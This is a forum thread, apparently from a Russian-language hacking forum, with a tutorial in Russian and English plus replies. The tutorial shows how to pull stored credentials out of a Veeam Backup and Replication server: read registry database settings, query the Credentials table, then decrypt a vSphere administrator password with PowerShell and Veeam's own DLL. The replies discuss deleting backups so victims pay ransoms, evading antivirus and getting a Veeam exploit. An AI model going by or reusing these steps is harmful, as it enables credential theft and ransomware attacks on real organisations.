• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Декрипт паролей Veeam Backup and Replication без скриптов.

Krypt0n

Dispersion
Забанен
Регистрация
14.07.2020
Сообщения
875
Реакции
955
Пожалуйста, обратите внимание, что пользователь заблокирован
Привет всем. Давно не писал статьи, разучился уже наверное. Собственно, что будем сегодня делать? Правильно заниматься х#йней!

Бывает так, что при пентесте корпов встречается такой инструмент для бекапов как Veeam Backup and Replication и увидев это чудо, надеешься, что прокинешься на серв где висит сам вим и сделаешь декрипт паролей и все ты самый крутой хакир.
Ну вот ты уже на серваке с вимом, закинул туда скрипт Veeam-Get-Creds.ps1 запустил, иии...ничего? Как так то? Неужели там правда паролей нет? на самом деле они там есть, но в менеджере паролей вима, а через gui менеджера паролей узнать пароль невозможно. Но есть выход и я его вам любезно открою.

И так.

Расшифровка паролей Veeam Backup and Replication:

открываем win + r пишем regedit
дальше идем по пути: HKLM\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations\PostgreSql
и видим тут конфигурацию базы данных т.е юзернейм, хостнейм, порт, имя бд

у меня например все выглядит так:
Код:
PostgresUserForWindowsAuth: postgres
SqlDatabaseName: VeeamBackup
SqlHostName: localhost
SqlHostPort: 5432

далее нам нужен любой инструмент для подключения к бд, я же буду использовать sql shell. Подключаемся к бд используя данные полученные с помощью реестра и получаем шелл.
Обычно учетные данные могут храниться в таблицах, связанных с конфигурацией или управлением пользователями, поиск таких таблиц можно начать с:


SELECT * FROM information_schema.tables WHERE table_schema = 'public';

найдя нужную нам таблицу (у меня к примеру Credentials) вводим эту команду:

SELECT * FROM Credentials;

и после нам выведет инфу этой таблицы, к примеру:
Код:
VeeamBackup=# SELECT * FROM Credentials;
                  id                  |          user_name          |                                                                                                                                                       password                                                                                                                                                       | usn  |                      description                      | visible |      change_time_utc
--------------------------------------+-----------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------+-------------------------------------------------------+---------+---------------------------
 70275b03-e805-49e1-9535-1867c62371e2 | root                        |                                                                                                                                                                                                                                                                                                                      |    8 | Helper appliance credentials                          | t       | 2023-11-05 17:55:11.14175
 b5ebaf50-1a63-4c48-839f-5f8a5452520b | root                        |                                                                                                                                                                                                                                                                                                                      |    9 | Tenant-side network extension appliance credentials   | t       | 2023-11-05 17:55:11.14175
 e379ded2-8dae-4b9a-b77d-7ed99e8c7152 | root                        |                                                                                                                                                                                                                                                                                                                      |   10 | Azure helper appliance credentials                    | t       | 2023-11-05 17:55:11.14175
 fd0041d1-4a68-4abd-aefe-b2bf02bb7ca9 | root                        |                                                                                                                                                                                                                                                                                                                      |   11 | Provider-side network extension appliance credentials | t       | 2023-11-05 17:55:11.14175
 fd325615-ee7b-4875-94b1-9dc38d31e45f | administrator@vsphere.local | AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAN4CcbAjpwkO9bHocVQBltQQAAAACAAAAAAAQZgAAAAEAACAAAADvU6aa0X8Nb5tX0QuzzAJCIR7oqe8bSg/LBytHQ3MZgAAAAAAOgAAAAAIAACAAAAD+wpI5qBq6ZHZc1xiXDMgKDi9UqwHMbOrJUvOqUD9qPhAAAAB38ndNjbQVSgEFTpB7asIAQAAAACHqyPy3hiBxsd/dp/e41tSpOVicFCfKwkEB/Quw5pXt7EnLTHCx46ocvQ6HoLVh6vskqmg6pVPy+OGHbGzXkhw= | 1236 | administrator@vsphere.local                           | t       | 2023-11-05 23:52:32.57835

у вас будет по другому, учеток больше или меньше в зависимости какую сетку делаете. Из всех этих строк нас интересует последняя строка с user_name administrator@vsphere.local. То что в base64 это естественно пароль от самой этой учетки и которую нужно еще расшифровать.

Расшфировка самого пароля:

1) Открываем PowerShell пишем:
$encoded = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAN4CcbAjpwkO9bHocVQBltQQAAAACAAAAAAAQZgAAAAEAACAAAADvU6aa0X8Nb5tX0QuzzAJCIR7oqe8bSg/LBytHQ3MZgAAAAAAOgAAAAAIAACAAAAD+wpI5qBq6ZHZc1xiXDMgKDi9UqwHMbOrJUvOqUD9qPhAAAAB38ndNjbQVSgEFTpB7asIAQAAAACHqyPy3hiBxsd/dp/e41tSpOVicFCfKwkEB/Quw5pXt7EnLTHCx46ocvQ6HoLVh6vskqmg6pVPy+OGHbGzXkhw="
2) После этой команды:
Add-Type -Path "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Common.dll"
3) Финальный штрих:
[Veeam.Backup.Common.ProtectedStorage]::GetLocalString($encoded)

и вуаля на выходе получаем клирпасс:
Conferencing99#


и никакие скрипты не понадобились! (кстати заметил, что деф начал блочить Veeam-Get-Creds.ps1 и SharpVeeamDecrypt)

о и кстати самое забавное, что при POST запросе на добавление нового гипервизера в виме, то этот запрос никак не шифруется и можно его перехватить burpsuit-ом или owasp zap и так же на выходе получить пароль, но это работает в том случае если есть свободный vcenter сервер или hyper-v а это бывает не всегда.

Вот и конец статьи, рад был с вами поделиться этим. Всем благ.
 
Последнее редактирование:
(кстати заметил, что деф начал блочить Veeam-Get-Creds.ps1 и SharpVeeamDecrypt)
Потому что шкила сливает, как и любой другой инструмент, софт, сливает на VT, вместо того, чтобы просто блэд снять хэш
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Потому что шкила сливает, как и любой другой инструмент, софт, сливает на VT, вместо того, чтобы просто блэд снять хэш
зачем шкиле которая пентестит сетку, заливать инструмент на вт? это не стиллак какой-то или что-то еще, а просто банальный скрипт и будет ли он палится или нет это лишь вопрос времени, так как способ декрипта паролей вима с помощью этих инструментов довольно давно юзают и ав научились это детектить
 
зачем шкиле которая пентестит сетку, заливать инструмент на вт? это не стиллак какой-то или что-то еще, а просто банальный скрипт и будет ли он палится или нет это лишь вопрос времени, так как способ декрипта паролей вима с помощью этих инструментов довольно давно юзают и ав научились это детектить
Отвечу зачем. Решил он запустить скрипт на тачке, там авер. Ну и чтобы проверить не детектит ли данный авер скрипт, он его сливает. Ты посмотри сколько этот скрипт был слит на VT
 
Hi all. I haven’t written an article for a long time, I’ve probably forgotten how to do it. Actually, what are we going to do today? Doing shit right!

It happens that when pentesting corporations, you come across such a tool for backups as Veeam Backup and Replication and when you see this miracle, you hope that you will connect to the server where Vim itself hangs and decrypt passwords and you are the coolest hacker.
Well, you’re already on the server with Vim, you threw the Veeam-Get-Creds.ps1 script there, launched it, aaand...nothing? How is that? Are there really no passwords? in fact, they are there, but in the Vima password manager, and through the password manager gui it is impossible to find out the password. But there is a way out and I will kindly reveal it to you.

So.

Decrypting Veeam Backup and Replication passwords:

open win + r and write regedit
then follow the path: HKLM\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations\PostgreSql
and we see here the database configuration i.e. username, hostname, port, database name

For example, for me everything looks like this:
Код:
PostgresUserForWindowsAuth: postgres
SqlDatabaseName: VeeamBackup
SqlHostName: localhost
SqlHostPort: 5432

Next, we need any tool to connect to the database, but I will use the sql shell. We connect to the database using the data obtained using the registry and get a shell.
Typically credentials may be stored in tables related to configuration or user management, a good place to start looking for such tables is:


SELECT * FROM information_schema.tables WHERE table_schema = 'public';

Having found the table we need (for example, I have Credentials), enter this command:

SELECT * FROM Credentials;

and then it will show us the information of this table, for example:
Код:
VeeamBackup=# SELECT * FROM Credentials;
                  id |     user_name |                                                                            password | usn |           description | visible |   change_time_utc
-------------------------+---------- ------------------+-------------------------------- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -----------------------------+------+------------ ----------------------------+------- --+--------------------------
 70275b03-e805-49e1-9535-1867c62371e2 | root |                                                                                                                                                           |  8 | Helper appliance credentials | t | 2023-11-05 17:55:11.14175
 b5ebaf50-1a63-4c48-839f-5f8a5452520b | root |                                                                                                                                                           |  9 | Tenant-side network extension appliance credentials | t | 2023-11-05 17:55:11.14175
 e379ded2-8dae-4b9a-b77d-7ed99e8c7152 | root |                                                                                                                                                           |  10 | Azure helper appliance credentials | t | 2023-11-05 17:55:11.14175
 fd0041d1-4a68-4abd-aefe-b2bf02bb7ca9 | root |                                                                                                                                                           |  11 | Provider-side network extension appliance credentials | t | 2023-11-05 17:55:11.14175
 fd325615-ee7b-4875-94b1-9dc38d31e45f | administrator@vsphere.local | AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAN4CcbAjpwkO9bHocVQBltQQAAACAAAAAAAQZgAAAAAEAACAAAADvU6aa0X8Nb5tX0QuzzAJCIR7oqe8bSg/LBytHQ3MZgAAAAAAOgAAAAAIAACAAAAD+wpI5qBq6ZHZc1xiXDM gKDi9UqwHMbOrJUvOqUD9qPhAAAAB38ndNjbQVSgEFTpB7asIAQAAAACHqyPy3hiBxsd/dp/e41tSpOVicFCfKwkEB/Quw5pXt7EnLTHCx46ocvQ6HoLVh6vskqmg6pVPy+OGHbGzXkhw= | 1236 | administrator@vsphere.local | t | 2023-11-05 23:52:32.57835

It will be different for you, there will be more or less accounts depending on what kind of grid you are making. Of all these lines, we are interested in the last line with user_name administrator@vsphere.local . The fact that in base64 this is naturally the password for this account itself and which still needs to be decrypted.

Decryption of the password itself:

1) Open PowerShell and write:
$encoded = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAN4CcbAjpwkO9bHocVQBltQQAAAACAAAAAAAQZgAAAAEAACAAAADvU6aa0X8Nb5tX0QuzzAJCIR7oqe8bSg/LBytHQ3MZgAAAAAAOgAAAAAIAACAAAAD+wpI5qBq6ZHZc1xiXDMgKDi9UqwHMbOrJUvOqUD9qPhAAAAB38ndNjbQVSgEFTpB7asIAQAAAACHqyPy3hiBxsd/dp/e41tSpOVicFCfKwkEB/Quw5pXt7EnLTHCx46ocvQ6HoLVh6vskqmg6pVPy+OGHbGzXkhw="
2) After this command:
Add-Type -Path "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Common.dll"
3) Final touch:
[Veeam.Backup.Common.ProtectedStorage]::GetLocalString($encoded)

and voila, we get a clearpass at the output:
Conferencing99#


and no scripts were needed! (by the way, I noticed that the def started blocking Veeam-Get-Creds.ps1 and SharpVeeamDecrypt)

oh, and by the way, the funniest thing is that when making a POST request to add a new hypervisor in Vim, this request is not encrypted in any way and you can intercept it with burpsuit or owasp zap and also get a password at the output, but this works if there is a free one vcenter server or hyper-v and this does not always happen.

This is the end of the article, I was glad to share this with you. All the best.
this worked for Veeam Agent?

we checked HKLM\SOFTWARE\Veeam\Veeam Backup and Replication but dont exists

only this

\SOFTWARE\Veeam\Veeam Agent
\SOFTWARE\Veeam\Veeam Agent for Microsoft Windows
\SOFTWARE\Veeam\Veeam Endpoint Backup
 
У меня есть софт, которыми пользуются 5 человек. Данный софт на протяжении двух лет не детектится аверами. И этот софт работает в рантайме!!! И не обновляется!!! Вот тебе вывод слитья софта в паблик. Вывод, ПШ скрипт и не детектился бы, если бы не сливали. По хэшу я давненько проверял его, то не палился на ВТ ещё. Видимо добили. Но он не всегда вывод даёт
 
Hi all. I haven’t written an article for a long time, I’ve probably forgotten how to do it. Actually, what are we going to do today? Doing shit right!

It happens that when pentesting corporations, you come across such a tool for backups as Veeam Backup and Replication and when you see this miracle, you hope that you will connect to the server where Vim itself hangs and decrypt passwords and you are the coolest hacker.
Well, you’re already on the server with Vim, you threw the Veeam-Get-Creds.ps1 script there, launched it, aaand...nothing? How is that? Are there really no passwords? in fact, they are there, but in the Vima password manager, and through the password manager gui it is impossible to find out the password. But there is a way out and I will kindly reveal it to you.

So.

Decrypting Veeam Backup and Replication passwords:

open win + r and write regedit
then follow the path: HKLM\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations\PostgreSql
and we see here the database configuration i.e. username, hostname, port, database name

For example, for me everything looks like this:
Код:
PostgresUserForWindowsAuth: postgres
SqlDatabaseName: VeeamBackup
SqlHostName: localhost
SqlHostPort: 5432

Next, we need any tool to connect to the database, but I will use the sql shell. We connect to the database using the data obtained using the registry and get a shell.
Typically credentials may be stored in tables related to configuration or user management, a good place to start looking for such tables is:


SELECT * FROM information_schema.tables WHERE table_schema = 'public';

Having found the table we need (for example, I have Credentials), enter this command:

SELECT * FROM Credentials;

and then it will show us the information of this table, for example:
Код:
VeeamBackup=# SELECT * FROM Credentials;
                  id | user_name | password | usn | description | visible | change_time_utc
-------------------------+---------- ------------------+-------------------------------- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -----------------------------+------+------------ ----------------------------+------- --+--------------------------
 70275b03-e805-49e1-9535-1867c62371e2 | root | | 8 | Helper appliance credentials | t | 2023-11-05 17:55:11.14175
 b5ebaf50-1a63-4c48-839f-5f8a5452520b | root | | 9 | Tenant-side network extension appliance credentials | t | 2023-11-05 17:55:11.14175
 e379ded2-8dae-4b9a-b77d-7ed99e8c7152 | root | | 10 | Azure helper appliance credentials | t | 2023-11-05 17:55:11.14175
 fd0041d1-4a68-4abd-aefe-b2bf02bb7ca9 | root | | 11 | Provider-side network extension appliance credentials | t | 2023-11-05 17:55:11.14175
 fd325615-ee7b-4875-94b1-9dc38d31e45f | administrator@vsphere.local | AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAN4CcbAjpwkO9bHocVQBltQQAAACAAAAAAAQZgAAAAAEAACAAAADvU6aa0X8Nb5tX0QuzzAJCIR7oqe8bSg/LBytHQ3MZgAAAAAAOgAAAAAIAACAAAAD+wpI5qBq6ZHZc1xiXDM gKDi9UqwHMbOrJUvOqUD9qPhAAAAB38ndNjbQVSgEFTpB7asIAQAAAACHqyPy3hiBxsd/dp/e41tSpOVicFCfKwkEB/Quw5pXt7EnLTHCx46ocvQ6HoLVh6vskqmg6pVPy+OGHbGzXkhw= | 1236 | administrator@vsphere.local | t | 2023-11-05 23:52:32.57835

It will be different for you, there will be more or less accounts depending on what kind of grid you are making. Of all these lines, we are interested in the last line with user_name administrator@vsphere.local . The fact that in base64 this is naturally the password for this account itself and which still needs to be decrypted.

Decryption of the password itself:

1) Open PowerShell and write:
$encoded = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAN4CcbAjpwkO9bHocVQBltQQAAAACAAAAAAAQZgAAAAEAACAAAADvU6aa0X8Nb5tX0QuzzAJCIR7oqe8bSg/LBytHQ3MZgAAAAAAOgAAAAAIAACAAAAD+wpI5qBq6ZHZc1xiXDMgKDi9UqwHMbOrJUvOqUD9qPhAAAAB38ndNjbQVSgEFTpB7asIAQAAAACHqyPy3hiBxsd/dp/e41tSpOVicFCfKwkEB/Quw5pXt7EnLTHCx46ocvQ6HoLVh6vskqmg6pVPy+OGHbGzXkhw="
2) After this command:
Add-Type -Path "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Common.dll"
3) Final touch:
[Veeam.Backup.Common.ProtectedStorage]::GetLocalString($encoded)

and voila, we get a clearpass at the output:
Conferencing99#


and no scripts were needed! (by the way, I noticed that the def started blocking Veeam-Get-Creds.ps1 and SharpVeeamDecrypt)

oh, and by the way, the funniest thing is that when making a POST request to add a new hypervisor in Vim, this request is not encrypted in any way and you can intercept it with burpsuit or owasp zap and also get a password at the output, but this works if there is a free one vcenter server or hyper-v and this does not always happen.

This is the end of the article, I was glad to share this with you. All the best.
1718447071737.png
 
Пожалуйста, обратите внимание, что пользователь заблокирован
this worked for Veeam Agent?

we checked HKLM\SOFTWARE\Veeam\Veeam Backup and Replication but dont exists

only this

\SOFTWARE\Veeam\Veeam Agent
\SOFTWARE\Veeam\Veeam Agent for Microsoft Windows
\SOFTWARE\Veeam\Veeam Endpoint Backup
pm me
 
Автор, а как ты подключишься к БД PostgreSQL, если у тебя нет пароля от пользователя postgre? С каким паролем-то ты подключился?

Считаю, что нужно дополнить статью, а именно показать, как сбрасывается пароль - там делов на минуту.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Автор, а как ты подключишься к БД PostgreSQL, если у тебя нет пароля от пользователя postgre? С каким паролем-то ты подключился?

Считаю, что нужно дополнить статью, а именно показать, как сбрасывается пароль - там делов на минуту.
при подключении не было запроса на ввод пароля, там и не стоял пароль, думаю если там стоит пароль то и он тоже будет сохранен в конфигураци бд в реестре
 
Зачем вообще получать доступ к бэкапам, если они лежат на отдельном диске и можно делать что хочешь с ними?
в Veeam могут хранится пароли от других систем и приложений AD. Например: пароль от vsphere, NAS, пароли админов, root ssh esxi.
Так же есть эксплойт под вим, условно ты экспулатируешь получаешь пароль от домен админа и попадаешь в сетку (в случае если впн).
А в самой системе ты уже смотришь куда данные бекапятся и так же важно узнать куда реплицируются (обычно за доменом в воркгруппе или в облаке где 2фа)

Без удаления бекапов, снепшотов компания быстро восстановится и меньше веряотности получить выплату
 
в Veeam могут хранится пароли от других систем и приложений AD. Например: пароль от vsphere, NAS, пароли админов, root ssh esxi.
Так же есть эксплойт под вим, условно ты экспулатируешь получаешь пароль от домен админа и попадаешь в сетку (в случае если впн).
А в самой системе ты уже смотришь куда данные бекапятся и так же важно узнать куда реплицируются (обычно за доменом в воркгруппе или в облаке где 2фа)

Без удаления бекапов, снепшотов компания быстро восстановится и меньше веряотности получить выплату
если бы кто-нибудь поделился бы эксплоитом
 
если бы кто-нибудь поделился бы эксплоитом

Там собрать нужно, вроде net 4.7 требутеся, так же дополнительные dll от самой системы найти надо (в гугле быстро найдешь), можно использовать удаленно через впн или прокси.
p.s. в форуме обсуждалась эта тема: https://xss.pro/threads/84404/
 

Там собрать нужно, вроде net 4.7 требутеся, так же дополнительные dll от самой системы найти надо (в гугле быстро найдешь), можно использовать удаленно через впн или прокси.
p.s. в форуме обсуждалась эта тема: https://xss.pro/threads/84404/
скомпилировал без проблем. спасибо
 
3) Финальный штрих:
[Veeam.Backup.Common.ProtectedStorage]::GetLocalString($encoded)
на веаме12 с послед.обновлением пш не даёт дешить, у длл не видит функции "Unable to find type [Veeam.Backup.Common.ProtectedStorage]". похоже на глобальный фикс со стороны веама??
 
Пожалуйста, обратите внимание, что пользователь заблокирован
на веаме12 с послед.обновлением пш не даёт дешить, у длл не видит функции "Unable to find type [Veeam.Backup.Common.ProtectedStorage]". похоже на глобальный фикс со стороны веама??
реверсни длл, посмотри теперь за что отвечает функция деша и все
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх